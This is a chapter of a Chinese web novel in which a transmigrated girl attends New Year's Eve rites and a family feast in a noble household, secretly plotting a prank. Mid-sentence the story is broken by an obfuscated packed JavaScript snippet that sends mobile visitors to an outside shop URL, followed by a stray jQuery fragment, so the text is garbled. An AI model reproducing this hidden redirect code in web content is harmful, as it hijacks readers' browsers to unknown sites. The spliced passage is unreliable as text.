因着岁暮辞旧迎新的旧俗,卫少君今日身上的衣衫配饰皆是全新。月白短襦配碧色素曲裾裙,外头罩一件浅朱绵衣,双环髻用两朵淡红绢花固定,胸前挂着五色彩丝编织的长命缕。
阿麦端着漆盘走进屋内,将朝食整齐地摆在卫少君面前的漆案上,两块香软的麦饼、一碗饴糖粟粥、咸香腊肉加鲜葵小菜,还有一碗黑乎乎汤药。
卫少君跪坐在食案后的茵席上,无孔不入的苦味钻进她的鼻尖。她嫌弃地皱皱眉,从醒来后这苦药就没断过,一日三餐当饭吃,她感觉自己都要被腌入味了。
姜氏这时从外面走进来,见卫少君眉头轻皱,轻声哄道:“趁热把药喝了,今天有你爱吃的腊肉。”
因着一碗碗下肚的苦药,卫少君对那骗子巫师的怨念不断加深。
她捧住药碗,皱着鼻子咽下去,苦涩的味道在口腔里炸开,连续含了三颗蜜渍梅才压下苦味。
卫少君并不是爱吃腊肉,而是这些味道平淡的菜肴里,只有这道咸香腊肉味道不错,比那些没滋没味蒸煮出来的菜羹强上许多。
卫少君含着蜜渍梅,双手托在下巴上,睁大眼睛看着姜氏,“这药还要喝多久?”
姜氏柔声道:“你的病气已经完全褪去,今日是最后一天,往后都不用喝了。辞旧迎新,也是个好兆头。”
卫少君咬着麦饼,谷物的清浅麦香压过药味,她怨念也消散了些,含糊地问:“那我是不是可以出去了?”
从偏院搬进西院后,除了给温夫人请安外,姜氏从不许她外出。说是外面天寒地冻,风雪交加,怕她着了寒气,再次生病。卫少君求了许多次,素日里对她百依百顺的姜氏在这件事上却铁了心,不肯松口。
姜氏看了眼外面的天色,连日来的大雪终于停歇,云开日出,天光放晴。她松口道:“让阿栗和阿麦陪着你,不许走远,更不许去湖边。”
“好。”卫少君眉眼弯弯地展露出笑容,三两下解决了朝食,拉着阿栗阿麦离开西院。
姜氏刚松口又后悔了,追着卫少君的身影出院,在身后担忧地喊道:“不许碰雪,若冷了立刻回来。”
卫少君摆摆手,头也不回道:“我知道了。”
带着冷意的清冽空气进入胸中,长久憋在深宅内的郁气尽数散开,她就像被关在笼子里的鸟儿获得了自由,步履轻盈矫健。
出了西院,她便沿着丈高的围墙慢悠悠走着,将整个后宅逛了一圈。卫府是一座三进院子,第一进是前院,用于待客和安置车马,第二进是主君和公子们的起居处,第三进便是内宅。
卫少君停在二门处观望,仆从守卫严密,没有温夫人的准许不会放任意一个女眷去前院。四周的院墙垒得又高又厚,回廊绵长曲折,遮去宅院内大半天光。
深闺大院,名不虚传。
她在家庙外转了一圈回到西院,找了处回廊坐下歇息,阿栗阿麦陪在身边。
阿栗好奇地站在卫少君身后,觉得女公子和其他孩子很不一样。没进西院的时候阿栗在李氏的北院做活,四女公子是个很闹腾的主子,每餐必要仆妇捧着食器一口口喂食,不肯自己动手;每到入夜就寝,总要缠人相伴,百般哄劝才肯闭眼,稍有不顺便闹脾气,十分娇气难缠。
小女公子和四女公子恰恰相反,她很安静,安静得不像一个幼童。比如现在,若换做四女公子在这里,必然已经将姜氏的叮嘱抛诸脑后,高高兴兴的去玩雪。
而小女公子只是坐着,静静地看着远方,展露出不属于她这个年纪的沉稳。她的起居不用过多费心,自己持箸进食,入夜安安静静卧榻,无需旁人安抚哄劝,十分省心。阿栗有时候甚至觉得,没有她和阿麦在,小女公子也能将自己照顾得很好。
干坐半晌后,卫少君终于觉得无趣,她踢了踢脚下的裙摆,起身往回走。
——
家庙建在府内东侧,被丈高的夯土墙围得密不透风,庙内光线昏沉,庙外周遭无半株花木,只有冷硬的石阶和灰墙。
这是卫少君第一次见到她的便宜父亲,府内的主君,卫敦。约莫三十来岁,肩背宽厚,眉间沉敛威严,下颌留着一缕整齐长须。
他面色肃穆地走进家庙,身后跟着三个亦步亦趋的稚气少年,身量不算高,统一穿着深色玄黑的曲裾,低头垂眸,脊背挺直,恭谨有礼。
看来这三人就是卫府的三个公子,卫烁、卫焕和卫熠,分别是温李姚所出。
女子不能参与主祭,温夫人带着一众妾室和女儿们等在家庙两侧回廊上,安静地等着祭祖结束。
卫少君和姜氏站在最后面,她盯着卫敦的身形看了许久,忍不住轻嗤,居然跟她那忘恩负义的亲爹长得挺像。
身侧有人挤过来,卫少君偏头看去,卫幼君不知何时从姚氏身边离开,跟她站在一起。见她看来,卫幼君弯起眉眼,露出贝齿,“七妹妹,你病好了吗?”
卫少君看见她就想起了姚氏,那天给温夫人请安时姚氏拉着姜氏说的亲亲热热,回去后就将要送补品一事忘了个干干净净。
卫少君细声回:“已经好全了,多谢六姊关心。”
卫幼君偷偷看了眼前面趾高气昂的卫昭君,跟卫少君咬耳朵,“你在屋里养病的时日里,鲁县老家送来了一批蓝田玉珠耳珰,本是我们四个姊妹都有,那日你不在,四姊便将你的那份索要了去。现下你病已大好,不如去找她要回来?”
卫少君摇摇头,“算了吧,四姊喜欢就给她吧。”
卫幼君抬手取下自己耳垂上的玉珠耳珰递给卫少君看,“你应该没见过蓝田玉吧,看看。”
浅绿色玉珠打磨得光滑圆润,玉色纯净,确实是好东西,只可惜对卫少君没有任何吸引力,玉可不如黄金来得实在。
她这些时日也琢磨出了原主的性格,一个不受宠的庶女,又在姜氏身边长大,抛开卫元君不谈,卫昭君和卫幼君可不是省油的灯。在这样的环境下长大,原主的性格肯定不会太外向。
卫少君艳羡的看着那玉珠耳珰,低声嗫嚅,“是很好看。”说完她就闭上嘴,垂下头颅,一副忍气吞声委曲求全的模样。
卫幼君面露失望,看那日卫少君当堂回怼卫昭君的模样,她还以为卫少君转了性子,终于能支棱起来。没想到还是个烂泥扶不上墙的,她郁闷的带回耳珰,回到姚氏身边。
卫少君轻哼一声,就这点小伎俩也想让她上当,那她岂不是白活十八年。
——
时至酉时,日影西斜,一家人移步前堂开宴,婢女已在堂内摆上九张朱漆食案,时下用膳为分餐制,讲究一人一案,案上小盘分盛,不共大盘。
正上方的座位自然而然地是府内主君卫敦的,他身侧的位置是温夫人,左侧下方第一个位置是卫元君,再往后便是李姚姜三妾携三个庶女共坐。
对面右侧则是单独坐着三个公子,卫少君和姜氏依旧坐在最后面,最靠近门外的地方。
大门敞开,细碎的冷风从帷幔底钻出,卫少君缩了缩脖子,姜氏见状低声吩咐身后的婢女将炭炉移近些,未料那婢女只是看了她二人一眼,转而将炭炉移到姚氏身后。
姜氏没有生气,脸上只有一片无力怅然。卫少君瞥了那婢女一眼,记下她的相貌。
岁暮这顿是卫少君穿来此地后吃的最好的一顿饭菜,单人食案上有冷腊四盘、热菜三盘、羹蔬两碟、主食两盘,另甜食果饵三碟。女眷案上还有米酒和浆果饮子。
当然,正式开餐前必然少不了“年终总结和未来展望”,上首卫敦清咳两声,所有人放下筷箸,正襟危坐,身子微微侧向上首,听他讲话。
卫敦先是对这一年进行了总结,当众盛赞温夫人持家有道,三位公子学业大有进益,顺带还提点夸奖了李氏几句。
李氏受宠若惊,面皮泛起一层薄红,满心的高兴藏不住。对比之下,温夫人神色如常,只嘴角噙着一抹笑意,眼底似乎带着讥讽。
卫少君再度看过去时,温夫人又恢复了往常端庄贤淑的模样,眉目温和平正,周身气度沉静温婉。
三位公子率先起身站在堂中央,随后是四个女公子,卫少君站在卫幼君身旁,跟着她的动作行礼,混在人群里蒙混过关地说祝词。
卫敦捋捋长须,看着堂下日渐长成的儿女非常欣慰,将早已准备好的五福香囊命人发放下去。
这个场景对于卫少君来说有些新奇,她还是第一次给长辈拜年拿红包。说来惭愧,过去十八年里,只有外婆会在过年这天偷偷给她塞点钱,她从没拿过一个光明正大的拜年红包。
卫敦又依次问了儿女几句话,目光落在最后面的小身影上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699386|208085||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,皱眉道:“不是说阴邪入体要辟屋别居吗,怎么出来了?”
温夫人低头喝了口茶,淡淡道:“巫师说别居三日即可,妾见少君已无大碍,又临近岁暮,便让她搬出来了。”
卫敦心中不悦,他最忌讳这些阴邪之事。拜那巫师所赐,这些时日卫少君“死而复生,阴邪入体”的流言在外面沸沸扬扬。已经有不少人暗自揣测,认为是他自身品行有亏、行事失德,才招致祸祟登门,降临在他幼女身上。
卫敦厌恶地移开眼,语气不快,“还不快下去。”
霎时间,所有视线全部看向卫少君,有可怜同情,也有幸灾乐祸。如果她真的是个涉世未深的小女孩,此刻只怕已经脸颊烧得通红,难堪到抬不起头。
很可惜,这种压力对她而言就是洒洒水。卫敦还不如她以前高中那个班主任有威严。
卫少君完全没看见卫敦脸上的不喜,她恭敬地向卫敦和温夫人行了一礼,转身回到自己的座位上,从头到尾没有半分失态。
对上姜氏担忧心疼的眼神,卫少君低下头,捏了捏手中的五福香囊,里面除了柏子、干枣、茱萸、栗、菱外,还有三颗杏子果核大小的金珠。
这三颗金珠约莫十五克左右,按照当下的市价换算,一克黄金大约是四十枚五铢钱,可以购置十二斤粟米、半匹粗麻布,抵得上一个粗使仆妇半月劳作的酬劳。
卫敦的态度她早就猜到了,压根没有当回事看。要是有一分在意她这个女儿,也不会多日来不管不问。倒是这三颗金珠是意外之喜,有了钱,往后做什么都方便。
卫少君低头避开卫昭君和卫幼君频频投来的眼神,继续用饭。
用膳时大堂异常安静,只有筷箸轻碰漆具的声音,非常符合食不言寝不语的规矩。用完膳后,温夫人着人去安排等会的傩仪仪式。
等待期间,温夫人和卫敦提起年后打算给几位女公子请夫子的事情。卫敦表情未变,嘴角却下降了几分,温夫人和他夫妻多年,自然明白他这是不悦了。
卫敦淡淡道:“她们最后都要嫁出去,与其埋头苦读诗书,不如潜心修习持家之道,教养子女的本事。”
此话一出,堂下的女眷纷纷坐直身体,心中有些紧张。
温夫人稳如泰山,“妾身听几位相熟的夫人说,宫中太后喜女子读书,常招王公贵族家学识出众的女公子进宫作伴,听说都城内的官宦人家都给女公子请了夫子。”
卫敦拿起帕子擦了擦手,“如此说来,我们家也不好落下,请夫子这事你看着办就是。读书固然是好事,但所学篇目须有取舍,万万不可失了女子本分。依吾看,除了开蒙的书籍外,只需让她们读些《列女传》《女诫》《礼记·内则》,至于策论、纵横游说、游侠杂文那些就不要读了。”
其他人听闻这话松了口气,唯有一向淑女端庄的卫元君变了脸色,温夫人淡淡看了她一眼,回应卫敦的话,“主君说的是,妾会吩咐下去。”
卫敦满意地点点头,将三个公子招到跟前,逐个考较他们的功课,又同温夫人说了些明年三位公子在太学的事。
卫少君嘴角露出一抹讥讽,看来这便宜老爹也是重男轻女的很。女子只让学些德言容功的书籍,男子却悉心教导学问,安排书院前程。这个时代看重男子没什么,但关键是,女儿们在家里私下读些策论也没什么,他至于特意强调不许读吗,未免有些太过迂腐。
约莫坐了半个时辰左右,一穿着鸦青曲裾的体面仆妇快步走进来,说是傩仪已全部准备好,请主君和夫人移步。
卫少君落在人群最后面,阿栗趁机凑上来,扶着卫少君穿鞋。
卫少君压低声音:“让你准备的东西都准备好了吗?”
阿栗紧张地点点头,手心全是汗,“女公子,咱们真的要这样做吗,万一被发现……”
“不会被发现,你安心去办,万一出事我一力承担,绝不连累你。”卫少君快速道了一句,提裙跟上大部队。
姜氏看着女儿唇边开心的笑容,不禁有些讶异,女儿很少这样开心过,“阿奴,是有什么好事发生吗?”
卫少君牵上姜氏柔软的手,朝她点点头,笑得眯起眼,“嗯嗯,等会有好戏看了。”
姜氏眉间也展露笑意,傩仪一年一次,对于小孩子来说自然是热闹。